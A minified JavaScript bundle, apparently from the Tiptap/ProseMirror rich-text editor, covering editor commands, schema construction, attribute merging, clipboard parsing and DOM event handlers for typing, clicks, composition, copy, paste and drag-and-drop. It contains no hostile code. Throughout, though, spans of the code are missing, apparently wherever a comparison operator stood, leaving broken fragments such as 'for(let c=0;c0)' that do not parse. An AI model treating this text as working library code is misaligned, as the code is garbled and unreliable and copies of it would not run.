c=Rf(typeof t=="string"?t:t.name,r.schema);if(!c)return!1;c==="node"&&(i=Sn(t,r.schema)),c==="mark"&&(o=Ta(t,r.schema));let u=!1;return n.selection.ranges.forEach(h=>{r.doc.nodesBetween(h.$from.pos,h.$to.pos,(f,m)=>{i&&i===f.type&&(u=!0,a&&n.setNodeMarkup(m,void 0,fN(f.attrs,e))),o&&f.marks.length&&f.marks.forEach(g=>{o===g.type&&(u=!0,a&&n.addMark(m,m+f.nodeSize,o.create(fN(g.attrs,e))))})})}),u},C8=()=>({tr:t,dispatch:e})=>(e&&t.scrollIntoView(),!0),E8=()=>({tr:t,dispatch:e})=>{if(e){const n=new Vr(t.doc);t.setSelection(n)}return!0},T8=()=>({state:t,dispatch:e})=>kS(t,e),M8=()=>({state:t,dispatch:e})=>ES(t,e),A8=()=>({state:t,dispatch:e})=>BO(t,e),I8=()=>({state:t,dispatch:e})=>WO(t,e),R8=()=>({state:t,dispatch:e})=>HO(t,e);function ix(t,e,n={},r={}){return ld(t,e,{slice:!1,parseOptions:n,errorOnInvalidContent:r.errorOnInvalidContent})}var P8=(t,{errorOnInvalidContent:e,emitUpdate:n=!0,parseOptions:r={}}={})=>({editor:a,tr:i,dispatch:o,commands:c})=>{const{doc:u}=i;if(r.preserveWhitespace!=="full"){const h=ix(t,a.schema,r,{errorOnInvalidContent:e??a.options.enableContentCheck});return o&&i.replaceWith(0,u.content.size,h).setMeta("preventUpdate",!n),!0}return o&&i.setMeta("preventUpdate",!n),c.insertContentAt({from:0,to:u.content.size},t,{parseOptions:r,errorOnInvalidContent:e??a.options.enableContentCheck})};function v2(t,e){const n=Ta(e,t.schema),{from:r,to:a,empty:i}=t.selection,o=[];i?(t.storedMarks&&o.push(...t.storedMarks),o.push(...t.selection.$head.marks())):t.doc.nodesBetween(r,a,u=>{o.push(...u.marks)});const c=o.find(u=>u.type.name===n.name);return c?{...c.attrs}:{}}function N2(t,e){const n=new l0(t);return e.forEach(r=>{r.steps.forEach(a=>{n.step(a)})}),n}function O8(t){for(let e=0;e{n(a)&&r.push({node:a,pos:i})}),r}function w2(t,e){for(let n=t.depth;n>0;n-=1){const r=t.node(n);if(e(r))return{pos:n>0?t.before(n):0,start:t.start(n),depth:n,node:r}}}function Pf(t){return e=>w2(e.$from,t)}function Ue(t,e,n){return t.config[e]===void 0&&t.parent?Ue(t.parent,e,n):typeof t.config[e]=="function"?t.config[e].bind({...n,parent:t.parent?Ue(t.parent,e,n):null}):t.config[e]}function T0(t){return t.map(e=>{const n={name:e.name,options:e.options,storage:e.storage},r=Ue(e,"addExtensions",n);return r?[e,...T0(r())]:e}).flat(10)}function M0(t,e){const n=Mo.fromSchema(e).serializeFragment(t),a=document.implementation.createHTMLDocument().createElement("div");return a.appendChild(n),a.innerHTML}function j2(t){return typeof t=="function"}function jt(t,e=void 0,...n){return j2(t)?e?t.bind(e)(...n):t(...n):t}function L8(t={}){return Object.keys(t).length===0&&t.constructor===Object}function Tl(t){const e=t.filter(a=>a.type==="extension"),n=t.filter(a=>a.type==="node"),r=t.filter(a=>a.type==="mark");return{baseExtensions:e,nodeExtensions:n,markExtensions:r}}function k2(t){const e=[],{nodeExtensions:n,markExtensions:r}=Tl(t),a=[...n,...r],i={default:null,validate:void 0,rendered:!0,renderHTML:null,parseHTML:null,keepOnSplit:!0,isRequired:!1},o=n.filter(h=>h.name!=="text").map(h=>h.name),c=r.map(h=>h.name),u=[...o,...c];return t.forEach(h=>{const f={name:h.name,options:h.options,storage:h.storage,extensions:a},m=Ue(h,"addGlobalAttributes",f);if(!m)return;m().forEach(y=>{let N;Array.isArray(y.types)?N=y.types:y.types==="*"?N=u:y.types==="nodes"?N=o:y.types==="marks"?N=c:N=[],N.forEach(w=>{Object.entries(y.attributes).forEach(([v,k])=>{e.push({type:w,name:v,attribute:{...i,...k}})})})})}),a.forEach(h=>{const f={name:h.name,options:h.options,storage:h.storage},m=Ue(h,"addAttributes",f);if(!m)return;const g=m();Object.entries(g).forEach(([y,N])=>{const w={...i,...N};typeof(w==null?void 0:w.default)=="function"&&(w.default=w.default()),w!=null&&w.isRequired&&(w==null?void 0:w.default)===void 0&&delete w.default,e.push({type:h.name,name:y,attribute:w})})}),e}function _8(t){const e=[];let n="",r=!1,a=!1,i=0;const o=t.length;for(let c=0;c0){i-=1,n+=u;continue}if(u===";"&&i===0){e.push(n),n="";continue}}n+=u}return n&&e.push(n),e}function pN(t){const e=[],n=_8(t||""),r=n.length;for(let a=0;a!!e).reduce((e,n)=>{const r={...e};return Object.entries(n).forEach(([a,i])=>{if(!r[a]){r[a]=i;return}if(a==="class"){const c=i?String(i).split(" "):[],u=r[a]?r[a].split(" "):[],h=c.filter(f=>!u.includes(f));r[a]=[...u,...h].join(" ")}else if(a==="style"){const c=new Map([...pN(r[a]),...pN(i)]);r[a]=Array.from(c.entries()).map(([u,h])=>`${u}: ${h}`).join("; ")}else r[a]=i}),r},{})}function cd(t,e){return e.filter(n=>n.type===t.type.name).filter(n=>n.attribute.rendered).map(n=>n.attribute.renderHTML?n.attribute.renderHTML(t.attrs)||{}:{[n.name]:t.attrs[n.name]}).reduce((n,r)=>St(n,r),{})}function z8(t){return typeof t!="string"?t:t.match(/^[+-]?(?:\d*\.)?\d+$/)?Number(t):t==="true"?!0:t==="false"?!1:t}function mN(t,e){return"style"in t?t:{...t,getAttrs:n=>{const r=t.getAttrs?t.getAttrs(n):t.attrs;if(r===!1)return!1;const a=e.reduce((i,o)=>{const c=o.attribute.parseHTML?o.attribute.parseHTML(n):z8(n.getAttribute(o.name));return c==null?i:{...i,[o.name]:c}},{});return{...r,...a}}}}function gN(t){return Object.fromEntries(Object.entries(t).filter(([e,n])=>e==="attrs"&&L8(n)?!1:n!=null))}function xN(t){var e,n;const r={};return!((e=t==null?void 0:t.attribute)!=null&&e.isRequired)&&"default"in((t==null?void 0:t.attribute)||{})&&(r.default=t.attribute.default),((n=t==null?void 0:t.attribute)==null?void 0:n.validate)!==void 0&&(r.validate=t.attribute.validate),[t.name,r]}function $8(t,e){var n;const r=k2(t),{nodeExtensions:a,markExtensions:i}=Tl(t),o=(n=a.find(h=>Ue(h,"topNode")))==null?void 0:n.name,c=Object.fromEntries(a.map(h=>{const f=r.filter(k=>k.type===h.name),m={name:h.name,options:h.options,storage:h.storage,editor:e},g=t.reduce((k,C)=>{const E=Ue(C,"extendNodeSchema",m);return{...k,...E?E(h):{}}},{}),y=gN({...g,content:jt(Ue(h,"content",m)),marks:jt(Ue(h,"marks",m)),group:jt(Ue(h,"group",m)),inline:jt(Ue(h,"inline",m)),atom:jt(Ue(h,"atom",m)),selectable:jt(Ue(h,"selectable",m)),draggable:jt(Ue(h,"draggable",m)),code:jt(Ue(h,"code",m)),whitespace:jt(Ue(h,"whitespace",m)),linebreakReplacement:jt(Ue(h,"linebreakReplacement",m)),defining:jt(Ue(h,"defining",m)),isolating:jt(Ue(h,"isolating",m)),attrs:Object.fromEntries(f.map(xN))}),N=jt(Ue(h,"parseHTML",m));N&&(y.parseDOM=N.map(k=>mN(k,f)));const w=Ue(h,"renderHTML",m);w&&(y.toDOM=k=>w({node:k,HTMLAttributes:cd(k,f)}));const v=Ue(h,"renderText",m);return v&&(y.toText=v),[h.name,y]})),u=Object.fromEntries(i.map(h=>{const f=r.filter(v=>v.type===h.name),m={name:h.name,options:h.options,storage:h.storage,editor:e},g=t.reduce((v,k)=>{const C=Ue(k,"extendMarkSchema",m);return{...v,...C?C(h):{}}},{}),y=gN({...g,inclusive:jt(Ue(h,"inclusive",m)),excludes:jt(Ue(h,"excludes",m)),group:jt(Ue(h,"group",m)),spanning:jt(Ue(h,"spanning",m)),code:jt(Ue(h,"code",m)),attrs:Object.fromEntries(f.map(xN))}),N=jt(Ue(h,"parseHTML",m));N&&(y.parseDOM=N.map(v=>mN(v,f)));const w=Ue(h,"renderHTML",m);return w&&(y.toDOM=v=>w({mark:v,HTMLAttributes:cd(v,f)})),[h.name,y]}));return new nS({topNode:o,nodes:c,marks:u})}function F8(t){const e=t.filter((n,r)=>t.indexOf(n)!==r);return Array.from(new Set(e))}function Wc(t){return t.sort((n,r)=>{const a=Ue(n,"priority")||100,i=Ue(r,"priority")||100;return a>i?-1:ar.name));return n.length&&console.warn(`[tiptap warn]: Duplicate extension names found: [${n.map(r=>`'${r}'`).join(", ")}]. This can lead to issues.`),e}function C2(t,e,n){const{from:r,to:a}=e,{blockSeparator:i=` +`))),0,0),t.someProp("transformPasted",g=>{c=g(c,t,!0)}),c;let m=t.someProp("clipboardTextParser",g=>g(e,a,r,t));if(m)c=m;else{let g=a.marks(),{schema:y}=t.state,N=Mo.fromSchema(y);o=document.createElement("div"),e.split(/(?:\r\n?|\n)+/).forEach(w=>{let v=o.appendChild(document.createElement("p"));w&&v.appendChild(N.serializeNode(y.text(w,g)))})}}else t.someProp("transformPastedHTML",m=>{n=m(n,t)}),o=WD(n),vd&&UD(o);let h=o&&o.querySelector("[data-pm-slice]"),f=h&&/^(\d+) (\d+)(?: -(\d+))? (.*)/.exec(h.getAttribute("data-pm-slice")||"");if(f&&f[3])for(let m=+f[3];m>0;m--){let g=o.firstChild;for(;g&&g.nodeType!=1;)g=g.nextSibling;if(!g)break;o=g}if(c||(c=(t.someProp("clipboardParser")||t.someProp("domParser")||pi.fromSchema(t.state.schema)).parseSlice(o,{preserveWhitespace:!!(u||f),context:a,ruleFromNode(g){return g.nodeName=="BR"&&!g.nextSibling&&g.parentNode&&!BD.test(g.parentNode.nodeName)?{ignore:!0}:null}})),f)c=KD(X1(c,+f[1],+f[2]),f[4]);else if(c=Ie.maxOpen(VD(c.content,a),!0),c.openStart||c.openEnd){let m=0,g=0;for(let y=c.content.firstChild;m{c=m(c,t,u)}),c}const BD=/^(a|abbr|acronym|b|cite|code|del|em|i|ins|kbd|label|output|q|ruby|s|samp|span|strong|sub|sup|time|u|tt|var)$/i;function VD(t,e){if(t.childCount<2)return t;for(let n=e.depth;n>=0;n--){let a=e.node(n).contentMatchAt(e.index(n)),i,o=[];if(t.forEach(c=>{if(!o)return;let u=a.findWrapping(c.type),h;if(!u)return o=null;if(h=o.length&&i.length&&ZS(u,i,c,o[o.length-1],0))o[o.length-1]=h;else{o.length&&(o[o.length-1]=e2(o[o.length-1],i.length));let f=XS(c,u);o.push(f),a=a.matchType(f.type),i=u}}),o)return be.from(o)}return t}function XS(t,e,n=0){for(let r=e.length-1;r>=n;r--)t=e[r].create(null,be.from(t));return t}function ZS(t,e,n,r,a){if(a1&&(i=0),a=n&&(c=e<0?o.contentMatchAt(0).fillBefore(c,i<=a).append(c):c.append(o.contentMatchAt(o.childCount).fillBefore(be.empty,!0))),t.replaceChild(e<0?0:t.childCount-1,o.copy(c))}function X1(t,e,n){return en})),Zm.createHTML(t)):t}function WD(t){let e=/^(\s*]*>)*/.exec(t);e&&(t=t.slice(e[0].length));let n=n2().createElement("div"),r=/<([a-z][^>\s]+)/i.exec(t),a;if((a=r&&t2[r[1].toLowerCase()])&&(t=a.map(i=>"<"+i+">").join("")+t+a.map(i=>"").reverse().join("")),n.innerHTML=HD(t),a)for(let i=0;i=0;c-=2){let u=n.nodes[r[c]];if(!u||u.hasRequiredAttrs())break;a=be.from(u.create(r[c+1],a)),i++,o++}return new Ie(a,i,o)}const vr={},Nr={},qD={touchstart:!0,touchmove:!0};class GD{constructor(){this.shiftKey=!1,this.mouseDown=null,this.lastKeyCode=null,this.lastKeyCodeTime=0,this.lastClick={time:0,x:0,y:0,type:"",button:0},this.lastSelectionOrigin=null,this.lastSelectionTime=0,this.lastIOSEnter=0,this.lastIOSEnterFallbackTimeout=-1,this.lastFocus=0,this.lastTouch=0,this.lastChromeDelete=0,this.composing=!1,this.compositionNode=null,this.composingTimeout=-1,this.compositionNodes=[],this.compositionEndedAt=-2e8,this.compositionID=1,this.badSafariComposition=!1,this.compositionPendingChanges=0,this.domChangeCount=0,this.eventHandlers=Object.create(null),this.hideSelectionGuard=null}}function JD(t){for(let e in vr){let n=vr[e];t.dom.addEventListener(e,t.input.eventHandlers[e]=r=>{QD(t,r)&&!b0(t,r)&&(t.editable||!(r.type in Nr))&&n(t,r)},qD[e]?{passive:!0}:void 0)}ur&&t.dom.addEventListener("input",()=>null),ax(t)}function ui(t,e){t.input.lastSelectionOrigin=e,t.input.lastSelectionTime=Date.now()}function YD(t){t.domObserver.stop();for(let e in t.input.eventHandlers)t.dom.removeEventListener(e,t.input.eventHandlers[e]);clearTimeout(t.input.composingTimeout),clearTimeout(t.input.lastIOSEnterFallbackTimeout)}function ax(t){t.someProp("handleDOMEvents",e=>{for(let n in e)t.input.eventHandlers[n]||t.dom.addEventListener(n,t.input.eventHandlers[n]=r=>b0(t,r))})}function b0(t,e){return t.someProp("handleDOMEvents",n=>{let r=n[e.type];return r?r(t,e)||e.defaultPrevented:!1})}function QD(t,e){if(!e.bubbles)return!0;if(e.defaultPrevented)return!1;for(let n=e.target;n!=t.dom;n=n.parentNode)if(!n||n.nodeType==11||n.pmViewDesc&&n.pmViewDesc.stopEvent(e))return!1;return!0}function XD(t,e){!b0(t,e)&&vr[e.type]&&(t.editable||!(e.type in Nr))&&vr[e.type](t,e)}Nr.keydown=(t,e)=>{let n=e;if(t.input.shiftKey=n.keyCode==16||n.shiftKey,!s2(t,n)&&(t.input.lastKeyCode=n.keyCode,t.input.lastKeyCodeTime=Date.now(),!(va&&Xn&&n.keyCode==13)))if(n.keyCode!=229&&t.domObserver.forceFlush(),El&&n.keyCode==13&&!n.ctrlKey&&!n.altKey&&!n.metaKey){let r=Date.now();t.input.lastIOSEnter=r,t.input.lastIOSEnterFallbackTimeout=setTimeout(()=>{t.input.lastIOSEnter==r&&(t.someProp("handleKeyDown",a=>a(t,to(13,"Enter"))),t.input.lastIOSEnter=0)},200)}else t.someProp("handleKeyDown",r=>r(t,n))||FD(t,n)?n.preventDefault():ui(t,"key")};Nr.keyup=(t,e)=>{e.keyCode==16&&(t.input.shiftKey=!1)};Nr.keypress=(t,e)=>{let n=e;if(s2(t,n)||!n.charCode||n.ctrlKey&&!n.altKey||ss&&n.metaKey)return;if(t.someProp("handleKeyPress",a=>a(t,n))){n.preventDefault();return}let r=t.state.selection;if(!(r instanceof Ze)||!r.$from.sameParent(r.$to)){let a=String.fromCharCode(n.charCode),i=()=>t.state.tr.insertText(a).scrollIntoView();!/[\r\n]/.test(a)&&!t.someProp("handleTextInput",o=>o(t,r.$from.pos,r.$to.pos,a,i))&&t.dispatch(i()),n.preventDefault()}};function Mf(t){return{left:t.clientX,top:t.clientY}}function ZD(t,e){let n=e.x-t.clientX,r=e.y-t.clientY;return n*n+r*r<100}function v0(t,e,n,r,a){if(r==-1)return!1;let i=t.state.doc.resolve(r);for(let o=i.depth+1;o>0;o--)if(t.someProp(e,c=>o>i.depth?c(t,n,i.nodeAfter,i.before(o),a,!0):c(t,n,i.node(o),i.before(o),a,!1)))return!0;return!1}function Nl(t,e,n){if(t.focused||t.focus(),t.state.selection.eq(e))return;let r=t.state.tr.setSelection(e);r.setMeta("pointer",!0),t.dispatch(r)}function eL(t,e){if(e==-1)return!1;let n=t.state.doc.resolve(e),r=n.nodeAfter;return r&&r.isAtom&&Xe.isSelectable(r)?(Nl(t,new Xe(n)),!0):!1}function tL(t,e){if(e==-1)return!1;let n=t.state.selection,r,a;n instanceof Xe&&(r=n.node);let i=t.state.doc.resolve(e);for(let o=i.depth+1;o>0;o--){let c=o>i.depth?i.nodeAfter:i.node(o);if(Xe.isSelectable(c)){r&&n.$from.depth>0&&o>=n.$from.depth&&i.before(n.$from.depth+1)==n.$from.pos?a=i.before(n.$from.depth):a=i.before(o);break}}return a!=null?(Nl(t,Xe.create(t.state.doc,a)),!0):!1}function nL(t,e,n,r,a){return v0(t,"handleClickOn",e,n,r)||t.someProp("handleClick",i=>i(t,e,r))||(a?tL(t,n):eL(t,n))}function rL(t,e,n,r){return v0(t,"handleDoubleClickOn",e,n,r)||t.someProp("handleDoubleClick",a=>a(t,e,r))}function sL(t,e,n,r){return v0(t,"handleTripleClickOn",e,n,r)||t.someProp("handleTripleClick",a=>a(t,e,r))||aL(t,n,r)}function aL(t,e,n){if(n.button!=0)return!1;let r=t.state.doc;if(e==-1)return r.inlineContent?(Nl(t,Ze.create(r,0,r.content.size)),!0):!1;let a=r.resolve(e);for(let i=a.depth+1;i>0;i--){let o=i>a.depth?a.nodeAfter:a.node(i),c=a.before(i);if(o.inlineContent)Nl(t,Ze.create(r,c+1,c+1+o.content.size));else if(Xe.isSelectable(o))Nl(t,Xe.create(r,c));else continue;return!0}}function N0(t){return jh(t)}const r2=ss?"metaKey":"ctrlKey";vr.mousedown=(t,e)=>{let n=e;t.input.shiftKey=n.shiftKey;let r=N0(t),a=Date.now(),i="singleClick";a-t.input.lastClick.time<500&&ZD(n,t.input.lastClick)&&!n[r2]&&t.input.lastClick.button==n.button&&(t.input.lastClick.type=="singleClick"?i="doubleClick":t.input.lastClick.type=="doubleClick"&&(i="tripleClick")),t.input.lastClick={time:a,x:n.clientX,y:n.clientY,type:i,button:n.button};let o=t.posAtCoords(Mf(n));o&&(i=="singleClick"?(t.input.mouseDown&&t.input.mouseDown.done(),t.input.mouseDown=new iL(t,o,n,!!r)):(i=="doubleClick"?rL:sL)(t,o.pos,o.inside,n)?n.preventDefault():ui(t,"pointer"))};class iL{constructor(e,n,r,a){this.view=e,this.pos=n,this.event=r,this.flushed=a,this.delayedSelectionSync=!1,this.mightDrag=null,this.startDoc=e.state.doc,this.selectNode=!!r[r2],this.allowDefault=r.shiftKey;let i,o;if(n.inside>-1)i=e.state.doc.nodeAt(n.inside),o=n.inside;else{let f=e.state.doc.resolve(n.pos);i=f.parent,o=f.depth?f.before():0}const c=a?null:r.target,u=c?e.docView.nearestDesc(c,!0):null;this.target=u&&u.nodeDOM.nodeType==1?u.nodeDOM:null;let{selection:h}=e.state;(r.button==0&&i.type.spec.draggable&&i.type.spec.selectable!==!1||h instanceof Xe&&h.from<=o&&h.to>o)&&(this.mightDrag={node:i,pos:o,addAttr:!!(this.target&&!this.target.draggable),setUneditable:!!(this.target&&ls&&!this.target.hasAttribute("contentEditable"))}),this.target&&this.mightDrag&&(this.mightDrag.addAttr||this.mightDrag.setUneditable)&&(this.view.domObserver.stop(),this.mightDrag.addAttr&&(this.target.draggable=!0),this.mightDrag.setUneditable&&setTimeout(()=>{this.view.input.mouseDown==this&&this.target.setAttribute("contentEditable","false")},20),this.view.domObserver.start()),e.root.addEventListener("mouseup",this.up=this.up.bind(this)),e.root.addEventListener("mousemove",this.move=this.move.bind(this)),ui(e,"pointer")}done(){this.view.root.removeEventListener("mouseup",this.up),this.view.root.removeEventListener("mousemove",this.move),this.mightDrag&&this.target&&(this.view.domObserver.stop(),this.mightDrag.addAttr&&this.target.removeAttribute("draggable"),this.mightDrag.setUneditable&&this.target.removeAttribute("contentEditable"),this.view.domObserver.start()),this.delayedSelectionSync&&setTimeout(()=>ka(this.view)),this.view.input.mouseDown=null}up(e){if(this.done(),!this.view.dom.contains(e.target))return;let n=this.pos;this.view.state.doc!=this.startDoc&&(n=this.view.posAtCoords(Mf(e))),this.updateAllowDefault(e),this.allowDefault||!n?ui(this.view,"pointer"):nL(this.view,n.pos,n.inside,e,this.selectNode)?e.preventDefault():e.button==0&&(this.flushed||ur&&this.mightDrag&&!this.mightDrag.node.isAtom||Xn&&!this.view.state.selection.visible&&Math.min(Math.abs(n.pos-this.view.state.selection.from),Math.abs(n.pos-this.view.state.selection.to))<=2)?(Nl(this.view,rt.near(this.view.state.doc.resolve(n.pos))),e.preventDefault()):ui(this.view,"pointer")}move(e){this.updateAllowDefault(e),ui(this.view,"pointer"),e.buttons==0&&this.done()}updateAllowDefault(e){!this.allowDefault&&(Math.abs(this.event.x-e.clientX)>4||Math.abs(this.event.y-e.clientY)>4)&&(this.allowDefault=!0)}}vr.touchstart=t=>{t.input.lastTouch=Date.now(),N0(t),ui(t,"pointer")};vr.touchmove=t=>{t.input.lastTouch=Date.now(),ui(t,"pointer")};vr.contextmenu=t=>N0(t);function s2(t,e){return t.composing?!0:ur&&Math.abs(e.timeStamp-t.input.compositionEndedAt)<500?(t.input.compositionEndedAt=-2e8,!0):!1}const oL=va?5e3:-1;Nr.compositionstart=Nr.compositionupdate=t=>{if(!t.composing){t.domObserver.flush();let{state:e}=t,n=e.selection.$to;if(e.selection instanceof Ze&&(e.storedMarks||!n.textOffset&&n.parentOffset&&n.nodeBefore.marks.some(r=>r.type.spec.inclusive===!1)||Xn&&DS&&lL(t)))t.markCursor=t.state.storedMarks||n.marks(),jh(t,!0),t.markCursor=null;else if(jh(t,!e.selection.empty),ls&&e.selection.empty&&n.parentOffset&&!n.textOffset&&n.nodeBefore.marks.length){let r=t.domSelectionRange();for(let a=r.focusNode,i=r.focusOffset;a&&a.nodeType==1&&i!=0;){let o=i<0?a.lastChild:a.childNodes[i-1];if(!o)break;if(o.nodeType==3){let c=t.domSelection();c&&c.collapse(o,o.nodeValue.length);break}else a=o,i=-1}}t.input.composing=!0}a2(t,oL)};function lL(t){let{focusNode:e,focusOffset:n}=t.domSelectionRange();if(!e||e.nodeType!=1||n>=e.childNodes.length)return!1;let r=e.childNodes[n];return r.nodeType==1&&r.contentEditable=="false"}Nr.compositionend=(t,e)=>{t.composing&&(t.input.composing=!1,t.input.compositionEndedAt=e.timeStamp,t.input.compositionPendingChanges=t.domObserver.pendingRecords().length?t.input.compositionID:0,t.input.compositionNode=null,t.input.badSafariComposition?t.domObserver.forceFlush():t.input.compositionPendingChanges&&Promise.resolve().then(()=>t.domObserver.flush()),t.input.compositionID++,a2(t,20))};function a2(t,e){clearTimeout(t.input.composingTimeout),e>-1&&(t.input.composingTimeout=setTimeout(()=>jh(t),e))}function i2(t){for(t.composing&&(t.input.composing=!1,t.input.compositionEndedAt=dL());t.input.compositionNodes.length>0;)t.input.compositionNodes.pop().markParentsDirty()}function cL(t){let e=t.domSelectionRange();if(!e.focusNode)return null;let n=tD(e.focusNode,e.focusOffset),r=nD(e.focusNode,e.focusOffset);if(n&&r&&n!=r){let a=r.pmViewDesc,i=t.domObserver.lastChangedTextNode;if(n==i||r==i)return i;if(!a||!a.isText(r.nodeValue))return r;if(t.input.compositionNode==r){let o=n.pmViewDesc;if(!(!o||!o.isText(n.nodeValue)))return r}}return n||r}function dL(){let t=document.createEvent("Event");return t.initEvent("event",!0,!0),t.timeStamp}function jh(t,e=!1){if(!(va&&t.domObserver.flushingSoon>=0)){if(t.domObserver.forceFlush(),i2(t),e||t.docView&&t.docView.dirty){let n=g0(t),r=t.state.selection;return n&&!n.eq(r)?t.dispatch(t.state.tr.setSelection(n)):(t.markCursor||e)&&!r.$from.node(r.$from.sharedDepth(r.to)).inlineContent?t.dispatch(t.state.tr.deleteSelection()):t.updateState(t.state),!0}return!1}}function uL(t,e){if(!t.dom.parentNode)return;let n=t.dom.parentNode.appendChild(document.createElement("div"));n.appendChild(e),n.style.cssText="position: fixed; left: -10000px; top: 10px";let r=getSelection(),a=document.createRange();a.selectNodeContents(e),t.dom.blur(),r.removeAllRanges(),r.addRange(a),setTimeout(()=>{n.parentNode&&n.parentNode.removeChild(n),t.focus()},50)}const ad=Ar&&mi<15||El&&iD<604;vr.copy=Nr.cut=(t,e)=>{let n=e,r=t.state.selection,a=n.type=="cut";if(r.empty)return;let i=ad?null:n.clipboardData,o=r.content(),{dom:c,text:u}=y0(t,o);i?(n.preventDefault(),i.clearData(),i.setData("text/html",c.innerHTML),i.setData("text/plain",u)):uL(t,c),a&&t.dispatch(t.state.tr.deleteSelection().scrollIntoView().setMeta("uiEvent","cut"))};function hL(t){return t.openStart==0&&t.openEnd==0&&t.content.childCount==1?t.content.firstChild:null}function fL(t,e){if(!t.dom.parentNode)return;let n=t.input.shiftKey||t.state.selection.$from.parent.type.spec.code,r=t.dom.parentNode.appendChild(document.createElement(n?"textarea":"div"));n||(r.contentEditable="true"),r.style.cssText="position: fixed; left: -10000px; top: 10px",r.focus();let a=t.input.shiftKey&&t.input.lastKeyCode!=45;setTimeout(()=>{t.focus(),r.parentNode&&r.parentNode.removeChild(r),n?id(t,r.value,null,a,e):id(t,r.textContent,r.innerHTML,a,e)},50)}function id(t,e,n,r,a){let i=QS(t,e,n,r,t.state.selection.$from);if(t.someProp("handlePaste",u=>u(t,a,i||Ie.empty)))return!0;if(!i)return!1;let o=hL(i),c=o?t.state.tr.replaceSelectionWith(o,r):t.state.tr.replaceSelection(i);return t.dispatch(c.scrollIntoView().setMeta("paste",!0).setMeta("uiEvent","paste")),!0}function o2(t){let e=t.getData("text/plain")||t.getData("Text");if(e)return e;let n=t.getData("text/uri-list");return n?n.replace(/\r?\n/g," "):""}Nr.paste=(t,e)=>{let n=e;if(t.composing&&!va)return;let r=ad?null:n.clipboardData,a=t.input.shiftKey&&t.input.lastKeyCode!=45;r&&id(t,o2(r),r.getData("text/html"),a,n)?n.preventDefault():fL(t,n)};class l2{constructor(e,n,r){this.slice=e,this.move=n,this.node=r}}const pL=ss?"altKey":"ctrlKey";function c2(t,e){let n=t.someProp("dragCopies",r=>!r(e));return n??!e[pL]}vr.dragstart=(t,e)=>{let n=e,r=t.input.mouseDown;if(r&&r.done(),!n.dataTransfer)return;let a=t.state.selection,i=a.empty?null:t.posAtCoords(Mf(n)),o;if(!(i&&i.pos>=a.from&&i.pos<=(a instanceof Xe?a.to-1:a.to))){if(r&&r.mightDrag)o=Xe.create(t.state.doc,r.mightDrag.pos);else if(n.target&&n.target.nodeType==1){let m=t.docView.nearestDesc(n.target,!0);m&&m.node.type.spec.draggable&&m!=t.docView&&(o=Xe.create(t.state.doc,m.posBefore))}}let c=(o||t.state.selection).content(),{dom:u,text:h,slice:f}=y0(t,c);(!n.dataTransfer.files.length||!Xn||OS>120)&&n.dataTransfer.clearData(),n.dataTransfer.setData(ad?"Text":"text/html",u.innerHTML),n.dataTransfer.effectAllowed="copyMove",ad||n.dataTransfer.setData("text/plain",h),t.dragging=new l2(f,c2(t,n),o)};vr.dragend=t=>{let e=t.dragging;window.setTimeout(()=>{t.dragging==e&&(t.dragging=null)},50)};Nr.dragover=Nr.dragenter=(t,e)=>e.preventDefault();Nr.drop=(t,e)=>{try{mL(t,e,t.dragging)}finally{t.dragging=null}};function mL(t,e,n){if(!e.dataTransfer)return;let r=t.posAtCoords(Mf(e));if(!r)return;let a=t.state.doc.resolve(r.pos),i=n&&n.slice;i?t.someProp("transformPasted",y=>{i=y(i,t,!1)}):i=QS(t,o2(e.dataTransfer),ad?null:e.dataTransfer.getData("text/html"),!1,a);let o=!!(n&&c2(t,e));if(t.someProp("handleDrop",y=>y(t,e,i||Ie.empty,o))){e.preventDefault();return}if(!i)return;e.preventDefault();let c=i?fS(t.state.doc,a.pos,i):a.pos;c==null&&(c=a.pos);let u=t.state.tr;if(o){let{node:y}=n;y?y.replace(u):u.deleteSelection()}let h=u.mapping.map(c),f=i.openStart==0&&i.openEnd==0&&i.content.childCount==1,m=u.doc;if(f?u.replaceRangeWith(h,h,i.content.firstChild):u.replaceRange(h,h,i),u.doc.eq(m))return;let g=u.doc.resolve(h);if(f&&Xe.isSelectable(i.content.firstChild)&&g.nodeAfter&&g.nodeAfter.sameMarkup(i.content.firstChild))u.setSelection(new Xe(g));else{let y=u.mapping.map(c);u.mapping.maps[u.mapping.maps.length-1].forEach((N,w,v,k)=>y=k),u.setSelection(x0(t,g,u.doc.resolve(y)))}t.focus(),t.dispatch(u.setMeta("uiEvent","drop"))}vr.focus=t=>{t.input.lastFocus=Date.now(),t.focused||(t.domObserver.stop(),t.dom.classList.add("ProseMirror-focused"),t.domObserver.start(),t.focused=!0,setTimeout(()=>{t.docView&&t.hasFocus()&&!t.domObserver.currentSelection.eq(t.domSelectionRange())&&ka(t)},20))};vr.blur=(t,e)=>{let n=e;t.focused&&(t.domObserver.stop(),t.dom.classList.remove("ProseMirror-focused"),t.domObserver.start(),n.relatedTarget&&t.dom.contains(n.relatedTarget)&&t.domObserver.currentSelection.clear(),t.focused=!1)};vr.beforeinput=(t,e)=>{if(Xn&&va&&e.inputType=="deleteContentBackward"){t.domObserver.flushSoon();let{domChangeCount:r}=t.input;setTimeout(()=>{if(t.input.domChangeCount!=r||(t.dom.blur(),t.focus(),t.someProp("handleKeyDown",i=>i(t,to(8,"Backspace")))))return;let{$cursor:a}=t.state.selection;a&&a.pos>0&&t.dispatch(t.state.tr.delete(a.pos-1,a.pos).scrollIntoView())},50)}};for(let t in Nr)vr[t]=Nr[t];function od(t,e){if(t==e)return!0;for(let n in t)if(t[n]!==e[n])return!1;for(let n in e)if(!(n in t))return!1;return!0}class kh{constructor(e,n){this.toDOM=e,this.spec=n||fo,this.side=this.spec.side||0}map(e,n,r,a){let{pos:i,deleted:o}=e.mapResult(n.from+a,this.side<0?-1:1);return o?null:new An(i-r,i-r,this)}valid(){return!0}eq(e){return this==e||e instanceof kh&&(this.spec.key&&this.spec.key==e.spec.key||this.toDOM==e.toDOM&&od(this.spec,e.spec))}destroy(e){this.spec.destroy&&this.spec.destroy(e)}}class xi{constructor(e,n){this.attrs=e,this.spec=n||fo}map(e,n,r,a){let i=e.map(n.from+a,this.spec.inclusiveStart?-1:1)-r,o=e.map(n.to+a,this.spec.inclusiveEnd?1:-1)-r;return i>=o?null:new An(i,o,this)}valid(e,n){return n.from=e&&(!i||i(c.spec))&&r.push(c.copy(c.from+a,c.to+a))}for(let o=0;oe){let c=this.children[o]+1;this.children[o+2].findInner(e-c,n-c,r,a+c,i)}}map(e,n,r){return this==ar||e.maps.length==0?this:this.mapInner(e,n,0,0,r||fo)}mapInner(e,n,r,a,i){let o;for(let c=0;c{let 